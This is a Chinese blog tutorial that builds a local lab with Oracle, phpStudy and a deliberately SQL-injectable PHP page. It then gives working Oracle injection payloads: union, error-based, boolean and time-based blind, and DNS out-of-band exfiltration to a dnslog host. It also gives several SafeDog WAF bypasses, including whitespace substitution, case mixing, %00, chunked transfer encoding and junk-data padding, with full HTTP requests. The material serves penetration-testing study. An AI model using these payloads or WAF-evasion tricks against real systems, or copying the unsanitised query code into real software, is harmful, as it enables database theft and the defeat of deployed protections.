原文链接:Oracle 注入bypass总结(艰难的心路历程)
0x01 环境准备一、安装Oracle数据库(安装过程不过多阐述,没什么太大区别,就下一步下一步即可) 3、开启oracle数据库 打开cmd,连接数据库 - C:\Users\user>sqlplus
- 请输入用户名: system
- 输入口令:
- 连接到:
- Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
复制代码防止网络不通,建议关闭防火墙 4、使用navicat连接数据库(system:root) 5、也可以使用sql plus新建用户
二、安装phpstudy2、切换版本为5.5.38,这里推荐这个因为我就是这个搭成功的。 也可以像我这样在C:\phpStudy\WWW目录下新建phpinfo.php文件,内容为: 这里看到是32位的。 三、设置oci8扩展(这里我是一直不成功,弄了半天,差点放弃了)
1、首先在C:\phpStudy\php\php-5.5.38目录下,修改php.ini的内容(搜索oci8,找到对应的扩展处,将前面的;删除即可。) 
2、之后就开始苦逼地调试环境了,最终弄好是根据这篇文章弄好的,链接如下:
https://www.it1352.com/1713162.html
在php路径下,打开cmd,输入如下命令:
- C:\phpStudy\php\php-5.5.38>php.exe -m
- PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
- in Unknown on line 0
- Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
- in Unknown on line 0
- PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有 效的 Win32 应用程序。
- in Unknown on line 0
- Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有效的 Win32 应用程序。
- in Unknown on line 0
- PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
- in Unknown on line 0
- Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
- in Unknown on line 0
复制代码
4、下载好之后解压,放入C:\instantclient_11_1

5、设置环境变量,这一步很重要
在此电脑右键属性 - 高级系统设置 - 环境变量 - 系统变量(Path) - 编辑

增加这三个路径,注意顺序不要变,instantclient必须放在php的上面。

6、验证,在cmd命令提示符中输入

出现instantclient的路径即可。
7、重启计算机
8、在php路径下,打开cmd,输入如下命令并查看结果(没有出现“不是有效的 Win32 应用程序”即可)

9、在phpinfo中搜索oci8,有如下界面表示扩展已经开启成功。(没有就重启phpstudy)

当出现如下界面,环境就已经基本搭建好了。 四、创建漏洞测试环境1、 建立存在漏洞数据1、首先使用navicat连接数据库
(这里有一个坑,连接时可能会出现oracle library is not loaded) 在工具 - 选项处 修改oci环境,选择之前数据库安装的路径,修改完后记得重启 2、连接数据库之后,选择相应的用户,我这里是SYSTEM 3、新建表TEST,设置如下字段 4、添加如下数据(数据其实是任意的,随意添加即可) 5、新建查询进行验证 以上漏洞数据就简单搭建成功了。 2、搭建PHP站点1、将源码保存为oracle.php文件,放到C:\phpStudy\WWW目录下
源码如下: - <?php
- header("Content-Type:text/html;charset=utf-8");
- $id = @$_REQUEST['id'];
- $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; //连接数据库的参数配置
- $conn = oci_connect('system','root',$dbstr);//连接数据库,前两个参数分别是账号和密码
- if (!$conn)
- {
- $Error = oci_error();//错误信息
- print htmlentities($Error['message']);
- exit;
- }
- else
- {
- echo "<h3>Oracle 注入测试靶场</h3>"."<br>";
- $sql = "select * from TEST where id=".$id;//sql查询语句
- echo "当前sql语句为:".$sql."<br>"."<br>";//输出sql查询语句
- $ora_b = oci_parse($conn,$sql); //编译sql语句
- oci_execute($ora_b,OCI_DEFAULT); //执行
- while($r=oci_fetch_row($ora_b)) //取回结果
- {
- $i=0;
- echo "Id:".$r[$i++]." </t> <br>";
- echo "Name:".$r[$i++]." </t><br> ";
- echo "Age:".$r[$i++]." </t><br> ";
- }
- }
- oci_close($conn);//关闭连接
- ?>
复制代码2、访问http://localhost/oracle.php?id=1,返回如下界面表示搭建成功,数据库也成功连接了。 五、安全狗
双击安装即可。
因为前面搭建环境是比较早就搭好了的,后面加上安全狗的时候忘记截图了,大概就是需要先将PHPstudy以系统服务来运行,之后再安装安全狗便可以选择相应的apache服务了。 0x02 bypass概念bypass即绕过,分流。在渗透测试中,发现某漏洞存在但是因为waf、代码层面过滤等安全措施导致无法利用,这种时候,通过编码、大小写、双写等方式绕过安全防护的手法,我们常称之为bypass。 0x03 Oracle注入测试首先列举正常无waf、无检测的环境下,oracle数据库注入的常见注入手法。 1、检测漏洞点- http://localhost/oracle.php?id=1 and 1=1
复制代码
- http://localhost/oracle.php?id=1 and 1=2
复制代码
2、显错注入
- http://localhost/oracle.php?id=-1 union all select 1,(select user from dual),3,'4' from dual --
复制代码
3、报错注入- http://localhost/oracle.php?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
复制代码
4、布尔盲注
- http://localhost/oracle.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
复制代码
- http://localhost/oracle.php?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) --
复制代码 5、延时盲注- http://localhost/oracle.php?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
复制代码 6、外带数据- http://localhost/oracle.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --
复制代码 0x04 bypass1、空格替换以?id=1 and 1=1为例,fuzz可以替换空格的常见字符 %2d、%2e不报错,但是无信息返回 %0a、%0b、%2b、%0c、%0d、%00、%20、%09
数据正常返回,可以替换 其他字符如/*/、/60001/、/!*/、+、()也可以替换空格 2、大小写替换对关键字进行大小写随机替换 - http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --
复制代码
3、拼接换行回车符Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。 只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符 - http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --
复制代码在之后拼接也是可以的 4、替换注入方法&结合替换有的时候,真的一直无法显错注入、报错注入,这种时候,不妨试试盲注,虽然盲注获取数据难,耗费时间长,但是注入成功率却比显错、报错更高。
下面是通过延时盲注,加前面的%00替换空格,成功bypass - http://192.168.150.6/oracle.php?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
复制代码同样的,布尔盲注也成功bypass - http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM',1,0) from dual) --
复制代码- http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM1',1,0) from dual) --
复制代码
and后面加%00,成功外带数据
- http://192.168.150.6/oracle.php?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --
复制代码
回头看报错注入,也成功bypass
- http://192.168.150.6/oracle.php?id=-1 and%001=ctxsys.drithsx.sn(1,(select user from dual)) --
复制代码 5、分块传输到现在,除了显错注入,基本都已经成功bypass了,union select的我试了好多方法都不行,大小写、编码、换行、内联注释。 我还发现,内联注释中65001现在会拦截,650011不拦截 - http://192.168.150.6/oracle.php?id=-1 union all /*!65001select*/ 1,(/*!65001select*/ user from dual),3,'4' from dual --http://192.168.150.6/oracle.php?id=-1 union all /*!650011select*/ 1,(/*!650011select*/ user from dual),3,'4' from dual --
复制代码

查了一下意思是select变成了字符串,无法使用了。加个单引号又触发告警。。。

实在绕不过了,希望后面绕过的时候分享一下经验
现在这里,直接祭出大杀器,分块传输

编码之后发送数据包即可,成功绕过,这里放上数据包。
- POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 1156Transfer-Encoding: chunked2;xV1fjate8Q2XVoid3;FBbE5aPh1njsaBHT0t8amN=-13;DShr5ncZWnci6BodOiYRfspzR%202;pP4mnFcEQkyiQl6jC3ZuN3;Wx7ThDIon3;4NUgobBzQmvdJJgZwG%203;NXVKpLV5sALl1;lJalLMNAhnO8ffdGzL%2;pteuvLkGgZtSFG7wu4jh203;ft8CiaQjsEL1;ovy3F7LND8VHfkE3;RAyIuvoLAOWnSqxct%2;d6QXVbZb203;hNC48x1,%2;GCe40272;tz5rvVKedF2%1;G3myIfs0GAPu2eH7922;pThPJsudDL7,3;2yEVY8frLisFHPF4CDIR(Se3;gz14uhleOIDF74XtBFcXlEc2;QfmWbtNKcpt%3;a9jkXA20u2;LzU0pITPWYYSE3;tq3Kj9GTFfRqKymRnxr%22;LtPJFi3QoCTfQl0f2;EhqBiFNv8QXNqlcdgsRO1;bFragm1;DNn9kgy1%3;kswkTXdypO8iRNnAXQNy5gh20t3;Qjsv8Smfch2anhgwadest1;RJZ3Cf97d2iC5Yu%1;AomRcv23;KKFeF9ciN4Vwp6Rn26W530wH1;BMyXT4jl33E3;PPdD7Vdju0re%2;rsWVY36Q2ZmSh201;WQRwnvb7i2;uEAKtk5xd=3;c5E5JxcbYZ1)%2;FdTC5clj3AK5TO3201;13Am4uFf3;6Kz1J8BRdROm1;djnsRxzDiylbhAn4rapq%2;DlOc4poqaBWkrdVbG201;VUyDTYwHuog9fXrYxKm3WQF4d2;l10VFVhUA1;hAY6RlsGl1;CFQY7BhysEhkSmRVRgUIea%1;ENwHkBbAM8Rp623;9VNJ2r6HJRqRmBl3A7DmzAoiN0--3;AKxfqTuP7AstNrPdKtBFy9B/**1;5knHpLVmWn8kUWZkVfUSm8YJD/0
复制代码 分块传输的插件github有,可以搜索chunked查找。 6、万能脏数据前面分块传输成功后,给了自己莫大的信心,果然,万能脏数据也成功了,渐渐就好起来了。
要知道,waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。 - POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 6711id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/
复制代码 7、其他0x05 总结写了好久好久,也算是记录了自己的学习和尝试过程,希望对大家有所帮助。不知道我的写作风格大家喜不喜欢,我是比较边做边写,希望将思路的变化过程留下来,可能文章会比别人的长,也更繁琐,还请大佬们不要嫌弃。前面主要讲了环境准备和注入的简单payload展示,有相关能力的也可以直接看0x04,谢谢大家~
|